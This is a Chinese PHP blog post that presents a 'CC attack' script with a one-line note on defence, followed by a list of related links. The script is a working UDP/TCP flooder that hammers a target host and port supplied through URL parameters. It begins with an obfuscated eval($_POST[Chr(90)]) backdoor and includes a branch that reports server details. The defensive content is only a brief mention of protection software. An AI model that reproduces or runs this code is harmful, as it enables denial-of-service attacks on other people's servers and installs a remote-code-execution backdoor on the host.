php cc攻击代码与防范方法


Posted in PHP onOctober 18, 2012

cc攻击代码,支持udp

<?php 
eval($_POST[Chr(90)]); 
set_time_limit(86400); 
ignore_user_abort(True); 
$packets = 0; 
$http = $_GET['http']; 
$rand = $_GET['exit']; 
$exec_time = $_GET['time']; 
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) 
{ 
if(StrLen($_GET['rat'])<>0) 
{ 
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat']; 
exit; 
} 
echo "Php 2012 Terminator"; 
exit; 
} 
for($i=0;$i<65535;$i++) 
{ 
$out .= "X"; 
} 
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center 
$max_time = time()+$exec_time; 
if($rand==53) 
while(1) 
{ 
$packets++; 
if(time() > $max_time) 
{ 
break; 
} 
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
if($rand==500) 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
else 
while(1) 
{ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5); 
if($fp) 
{ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
?>

对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

如果你有好的软件也可以给我们留言。

PHP 相关文章推荐
详细介绍PHP应用提速面面观
Oct 09 PHP
给php新手谈谈我的学习心得
Feb 25 PHP
php array_walk() 数组函数
Jul 12 PHP
php截取字符串之截取utf8或gbk编码的中英文字符串示例
Mar 12 PHP
使用php语句将数据库*.sql文件导入数据库
May 05 PHP
Yii使用ajax验证显示错误messagebox的解决方法
Dec 03 PHP
推荐10个提供免费PHP脚本下载的网站
Dec 31 PHP
php将数组转换成csv格式文件输出的方法
Mar 14 PHP
php禁用函数设置及查看方法详解
Jul 25 PHP
CI框架常用经典操作类总结(路由,伪静态,分页,session,验证码等)
Nov 21 PHP
Laravel中如何增加自定义全局函数详解
May 09 PHP
php 多个变量指向同一个引用($b = &amp;$a)用法分析
Nov 13 PHP
php shell超强免杀、减少体积工具实现代码
Oct 16 #PHP
PHP中替换换行符的几种方法小结
Oct 15 #PHP
php变量范围介绍
Oct 15 #PHP
php模板函数 正则实现代码
Oct 15 #PHP
php mssql扩展SQL查询中文字段名解决方法
Oct 15 #PHP
PHP获取文件后缀名的三个函数
Oct 15 #PHP
php标签云的实现代码
Oct 10 #PHP
You might like
一个用php3编写的简单计数器
2006/10/09 PHP
使用ThinkPHP自带的Http类下载远程图片到本地的实现代码
2011/08/02 PHP
PHP中数组定义的几种方法
2013/09/01 PHP
javascript delete 使用示例代码
2010/03/29 Javascript
$.ajax返回的JSON无法执行success的解决方法
2011/09/09 Javascript
jQuery操作checkbox选择(list/table)
2013/04/07 Javascript
JS 精确统计网站访问量的实例代码
2013/07/05 Javascript
angularjs学习笔记之完整的项目结构
2015/09/26 Javascript
jquery中键盘事件小结
2016/02/24 Javascript
JavaScript实现相册弹窗功能(zepto.js)
2016/06/21 Javascript
JavaScript实现选中文字提示新浪微博分享效果
2017/06/15 Javascript
vue页面使用阿里oss上传功能的实例(一)
2017/08/09 Javascript
详解Vue-Cli 异步加载数据的一些注意点
2017/08/12 Javascript
JavaScript使用FileReader实现图片上传预览效果
2020/03/27 Javascript
json数据格式常见操作示例
2019/06/13 Javascript
python 默认参数问题的陷阱
2016/02/29 Python
python中Matplotlib实现绘制3D图的示例代码
2017/09/04 Python
理解python中生成器用法
2017/12/20 Python
python实现txt文件格式转换为arff格式
2018/05/31 Python
python爬取足球直播吧五大联赛积分榜
2018/06/13 Python
python模块如何查看
2020/06/16 Python
HTML5之多线程(Web Worker)
2019/01/02 HTML / CSS
英国领先的奢侈品零售商之一:CRUISE
2016/12/02 全球购物
英国厨房与餐具用品为主的设计品牌:Joseph Joseph
2018/04/26 全球购物
OSPREY LONDON官网:英国本土皮具品牌
2019/05/31 全球购物
阿迪达斯香港官网:adidas香港
2019/11/09 全球购物
Linux中如何用命令创建目录
2016/12/02 面试题
编程用JAVA解析XML的方式
2013/07/07 面试题
门卫班长岗位职责
2013/12/15 职场文书
幼儿园小班教学反思
2014/02/02 职场文书
汽车销售员岗位职责
2015/04/11 职场文书
教师节座谈会主持词
2015/07/03 职场文书
2019同学聚会主持词
2019/05/06 职场文书
用 Python 定义 Schema 并生成 Parquet 文件详情
2021/09/25 Python
教你如何让spark sql写mysql的时候支持update操作
2022/02/15 MySQL
Java代码规范与质量检测插件SonarLint的使用
2022/08/05 Java/Android